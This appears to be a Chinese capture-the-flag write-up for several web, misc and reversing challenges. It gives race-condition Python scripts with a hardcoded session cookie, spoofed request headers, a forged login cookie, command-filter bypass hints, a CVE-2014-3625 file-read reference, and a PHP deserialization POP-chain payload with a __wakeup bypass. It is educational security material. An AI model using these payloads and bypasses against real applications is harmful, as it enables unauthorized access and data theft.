直接扫描
http://218.2.197.232:18001/rob0t.php
就有flag
发现是一个cve漏洞,任意读取目录,直接查姿势
https://github.com/ilmila/springcss-cve-2014-3625/blob/master/stealfile.sh
本来是要识别验证码,结果测试发现清除cookie就可以绕过验证码,这个验证码是存在session中,没有验证对比,好说,最后直接目录爆破即可
这个就是输入命令,然后内容会插入在curlflag.php
之中,这题其实就是查看flag.php
里的内容
可以tab
绕过,或是<
绕过
header("Content-type: text/html; charset=utf-8");
session_start();
$mysqli = new mysqli("localhost", "root", "", "gctf09");
if ($mysqli->connect_errno) {
die("数据库连接错误,多次出现请联系管理员。");
}
//打印源码
if(isset($_REQUEST['showcode'])){
highlight_file(___FILE___);
exit();
}
$user="";
// 初次访问生成用户
if(!isset($_SESSION["name"])){
$user=substr(md5(uniqid().uniqid()),8,16);
$_SESSION["name"]=$user;
$stmt = $mysqli->prepare("INSERT INTO gctf09.`user` (name,pass) VALUES (?,?)");
$stmt->bind_param("ss",$user,md5($user));
$stmt->execute();
$stmt->close();
$stmt = $mysqli->prepare("INSERT INTO gctf09.`priv` (name,notadmin) VALUES (?,TRUE)");
$stmt->bind_param("s",$user);
$stmt->execute();
$stmt->close();
}else{
$user=$_SESSION["name"];
}
//重置时清理用户信息
if($_SERVER["REQUEST_METHOD"] === "POST" && $_GET['method']==="reset" && isset($_POST['password']) ){
$stmt = $mysqli->prepare("DELETE FROM gctf09.`user` where name=?");
$stmt->bind_param("s",$user);
$stmt->execute();
$stmt = $mysqli->prepare("DELETE FROM gctf09.`priv` where name=?");
$stmt->bind_param("s",$user);
$stmt->execute();
$stmt = $mysqli->prepare("INSERT INTO gctf09.`user` (name,pass) VALUES (?,?)");
$stmt->bind_param("ss",$user,md5($_POST['password']));
$stmt->execute();
$stmt->close();
//判断用户权限时会查询priv表,如果为不为TRUE则是管理员权限
$stmt = $mysqli->prepare("INSERT INTO gctf09.`priv` (name,notadmin) VALUES (?,TRUE)");
$stmt->bind_param("s",$user);
$stmt->execute();
$stmt->close();
$mysqli->close();
die("修改成功");
}
$mysqli->close();
?>
先分析代码的意思,首先重置的话首先先删除原先的用户以及权限,然后重新先以管理员权限插入,最后修改权限为普通权限
直接写两个脚本,使用同一个cookie,一个不断的重置用户名密码,另一个用相同的用户名密码不断地提交
import requests
url = 'http://218.2.197.232:18009/index.php?method=reset'
cookie={
'PHPSESSID':'7pbngtg5ml72qsn4cpopubbvj5'
}
data={'name':'3f8010f1893ac9a5',
'password':'test'}
while 1:
s=requests.post(url=url,data=data,cookies=cookie)
print s.text
import requests
import base64
url = 'http://218.2.197.232:18009/login.php?method=login'
cookie={
'PHPSESSID':'7pbngtg5ml72qsn4cpopubbvj5'
}
data={'name':'3f8010f1893ac9a5',
'password':'test'}
while 1:
s=requests.post(url=url,data=data,cookies=cookie)
print s.text
if 'GCTF' in s.text:
break
好吧需要用本机
X-Forwarded-For:localhost
好吧,需要通过域名
Host: www.topsec.com
好吧,加一个跳转
Referer:www.baidu.com
跟着思路看看login是什么
4e6a59324d545a6a4e7a4d324e513d3d
16进制转字符
NjY2MTZjNzM2NQ==
base64decode
66616c7365
16进制转字符
false
构造一下
true
字符转16进制
74727565
base64encode
NzQ3Mjc1NjU=
字符转16进制
4e7a51334d6a63314e6a553d
Cookie: login=4e7a51334d6a63314e6a553d
也就是说不能直接修改role参数,必须在uid的时候顺便更改role参数
用'
,and
等字符什么的发现被过滤
访问flag.php
发现waf
由于这个题将./
过滤了,所以可以通过这分拆
base64
解码一下发现是java的序列化
学习一下java的序列化,增加一个id,发现有改变
访问得到query.php
的代码
/************************/
/*
//query.php 閮ㄥ垎浠g爜
session_start();
header('Look me: edit by vim ~0~')
//......
class TOPA{
public $token;
public $ticket;
public $username;
public $password;
function login(){
//if($this->username == $USERNAME && $this->password == $PASSWORD){ //鎶辨瓑
$this->username =='aaaaaaaaaaaaaaaaa' && $this->password == 'bbbbbbbbbbbbbbbbbb'){
return 'key is:{'.$this->token.'}';
}
}
}
class TOPB{
public $obj;
public $attr;
function __construct(){
$this->attr = null;
$this->obj = null;
}
function __toString(){
$this->obj = unserialize($this->attr);
$this->obj->token = $FLAG;
if($this->obj->token === $this->obj->ticket){
return (string)$this->obj;
}
}
}
class TOPC{
public $obj;
public $attr;
function __wakeup(){
$this->attr = null;
$this->obj = null;
}
function __destruct(){
echo $this->attr;
}
}
*/
//error_reporting(E_ERROR & ~E_NOTICE);
ini_set('session.serialize_handler', 'php_serialize');
header("content-type;text/html;charset=utf-8");
session_start();
if(isset($_GET['src'])){
$_SESSION['src'] = $_GET['src'];
highlight_file(__FILE__);
print_r($_SESSION['src']);
}
?>
"Content-Type" content="text/html; charset=utf-8" />
代码审计2
在php中,经常会使用序列化操作来存取数据,但是在序列化的过程中如果处理不当会带来一些安全隐患。
"./?src=1">查看源码
先分析一下,这个明显是要先使TOPA的$this->username =='aaaaaaaaaaaaaaaaa' && $this->password == 'bbbbbbbbbbbbbbbbbb'
直接赋值位0绕过弱类型比较
由于TOPB需要使得有token
、ticket
,并且相等,结合一句反序列化,可知,TOPB的$this->attr
必须为TOPA的序列化。而TOPC到时候只要绕过__wakeup()
即可,利用对象属性个数的值大于其真实值就可以绕过
payload
$a = new TOPA();
$a->username=0;
$a->password=0;
$a->ticket = &$a->token;
$b = new TOPB();
$b->attr = serialize($a);
$obj = new TOPC();
$obj->attr = $b;
echo '
'.serialize($obj).'
';
结果
O:4:"TOPC":2:{s:3:"obj";N;s:4:"attr";O:4:"TOPB":2:{s:3:"obj";N;s:4:"attr";s:84:"O:4:"TOPA":4:{s:5:"token";N;s:6:"ticket";R:2;s:8:"username";i:0;s:8:"password";i:0;}";}}
修改一下TOPC的属性参数,大于2即可,然后前面加|
|O:4:"TOPC":3:{s:3:"obj";N;s:4:"attr";O:4:"TOPB":2:{s:3:"obj";N;s:4:"attr";s:84:"O:4:"TOPA":4:{s:5:"token";N;s:6:"ticket";R:2;s:8:"username";i:0;s:8:"password";i:0;}";}}
利用src
传值,存入session,然后访问query.php
出现flag
保存下来反色扫描
Ni9htMar3 13:34:57
03F30D0AB6266A576300000000000000000100000040000000730D0000006400008400005A00006401005328020000006300000000030000000800000043000000734E0000006401006402006403006404006405006406006405006407006708007D00006408007D0100781E007C0000445D16007D02007C01007400007C0200830100377D0100712B00577C010047486400005328090000004E6941000000696C000000697000000069680000006961000000694C0000006962000000740000000028010000007403000000636872280300000074030000007374727404000000666C6167740100000069280000000028000000007307000000746573742E7079520300000001000000730A00000000011E0106010D0114014E280100000052030000002800000000280000000028000000007307000000746573742E707974080000003C6D6F64756C653E010000007300000000
一看就是一个16进制,比对了一下,发现使pyc的文件头,保存后直接利用工具反编译即可
def flag():
str = [65, 108, 112, 104, 97, 76, 97, 98]
flag = ''
for i in str:
flag += chr(i)
print flag
这是一道.pyc
的反编译题,利用uncompyle2反编译发现失败
通过查看他的16进制,发现其实这部分是字符串的拼接,可以写一个test.py尝试一下
发现拼接的形式大概是64 00 17
中间是序号
那样的话直接修改这一行
这样的话可以完成,扔进https://tool.lu/pyc/
试试
是因为多了4字节的00
导致程序终止,直接删掉然后修改长度即可
在此扔进https://tool.lu/pyc/
试试,出现代码
#!/usr/bin/env python
# encoding: utf-8
# 访问 http://tool.lu/pyc/ 查看更多信息
str = '=cWbihGfyMzNllzZ' + '0cjZzMW' + 'N5cTM4Y' + 'jYygTOy' + 'cmNycWNyYmM1Ujf'
import base64
def flag1():
code = str[::-3]
result = ''
for i in code:
ss = ord(i) - 1
result += chr(ss)
print result[::-1]
def flag2():
code = str[::-2]
result = ''
for i in code:
ss = ord(i) - 1
result += chr(ss)
print result[::-2]
def flag3():
code = str[::-1]
code = base64.b64decode(code)
result = ''
for i in code:
ss = ord(i) - 1
result += chr(ss)
print result[::-1]
flag1()
运行flag3()
即得flag:flag{126d8f36e2b486075a1781f51f41e144}
本来以为逆向,结果发现不是,只能默默查看16进制,结果发现头和尾好熟悉
明显是图片的倒置,直接写一个脚本顺着来
f = open('C:\\Users\\lanlan\\Desktop\\tttt.jpg','wb')
g = open('C:\\Users\\lanlan\\Desktop\\1.re','rb')
f.write(''.join(g.read()[::-1]))
g.close()
f.close()